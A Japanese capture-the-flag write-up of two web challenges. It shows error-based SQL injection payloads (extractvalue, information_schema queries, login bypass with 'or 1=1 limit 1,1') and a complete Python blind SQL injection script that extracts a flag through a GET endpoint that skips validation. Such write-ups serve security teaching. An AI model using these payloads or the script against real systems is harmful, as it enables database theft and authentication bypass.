[web] Alex Hanlon Has The Flag!
ログイン画面が与えられる。
とりあえずadmin:admin'を試すと、エラーが出てくる。
Exceptions:
java.sql.SQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1
ok.
ユーザー名admin、パスワード' or ''=
を試すと、Sorry, admin is the wrong user
と言われる。
ok. 例外が出ているので、例外経由で情報が抜けないか試す。とりあえず手元にあるpayload試してみる。
'||extractvalue(null,concat(0x01,(select "abccd")));# -> java.sql.SQLException: XPATH syntax error: 'abccd'
完璧ですね。情報を抜いていこう。
SELECT GROUP_CONCAT(distinct TABLE_SCHEMA) FROM INFORMATION_SCHEMA.TABLES -> appdb,information_schema,perfor select GROUP_CONCAT(distinct table_name) from information_schema.tables where table_schema = 'appdb' -> user select GROUP_CONCAT(column_name) from information_schema.columns where table_name='user' -> password,username select CONCAT(username,password) from user -> admin,ahanlon select GROUP_CONCAT(password) from user -> password
問題文にAlex Hanlon has the flag! See if you can figure out his username and then login as him
とあるのでahanlonでログインすれば良い。
普通に' or 1=1 #
とかすると、最初の要素がadminなのでadminでログインしているような感じになってダメ。
1つ目はスキップさせるためにユーザー名は適当で、パスワードに' or 1=1 limit 1,1 #
とすればフラグが出てくる。
[web] Going In Blind
ボーっとしていたら終わっていたが、一応ちゃんと解けた。
上の問題に入力値のバリデーションが追加されている。
英数字しか認めないような検証をしてて、これがなされていると何もできない。
問題名からもBlind SQLiをする必要がありそうだが、コードなしでこれはきついな…
しばらくしているとヒントが追加されていた。
Hint: Wait, did we make sure the input sanitization will run on every codepath?
ヒント: 待って、入力サニタイズはすべてのコードパスで実行されることを確認しましたか?
色々いじってみると、POST /
で実施されている正常系をGETに変換しても動く。
GET /?username=b&password='%20or%201%3d1%20%23
をやってみると検証がバイパスされて実行される。
ここからはblind SQLiしていく。
以下のようにスクリプトを書いて抜き取っていく。
import requests import time import urllib.parse url = 'http://chals.2022.squarectf.com:4103' #req = 'SELECT "abc"' #[*] done! abc #req = 'SELECT GROUP_CONCAT(distinct TABLE_SCHEMA) FROM INFORMATION_SCHEMA.TABLES' #[*] done! [*] done! appdb,information_schema,performance_schema #req = "SELECT GROUP_CONCAT(distinct table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='appdb'" #[*] done! flag,user #req = "SELECT GROUP_CONCAT(distinct column_name) FROM INFORMATION_SCHEMA.columns WHERE table_name='flag'" #[*] done! flag req = "SELECT GROUP_CONCAT(distinct flag) FROM flag" ans = "" for i in range(1, 1010): ok = 0 ng = 255 while ok + 1 != ng: md = (ok + ng) // 2 exp = f"' or if({md} <= ascii(substring(({req}),{i},1)), 1, 0) #" u = f"{url}/?username=a&password={urllib.parse.quote(exp)}" res = requests.get(u) if "Nope" not in res.text: ok = md else: ng = md if ok == 0: break ans += chr(ok) time.sleep(1) print(f"[*] {ans}") print(f"[*] done! {ans}")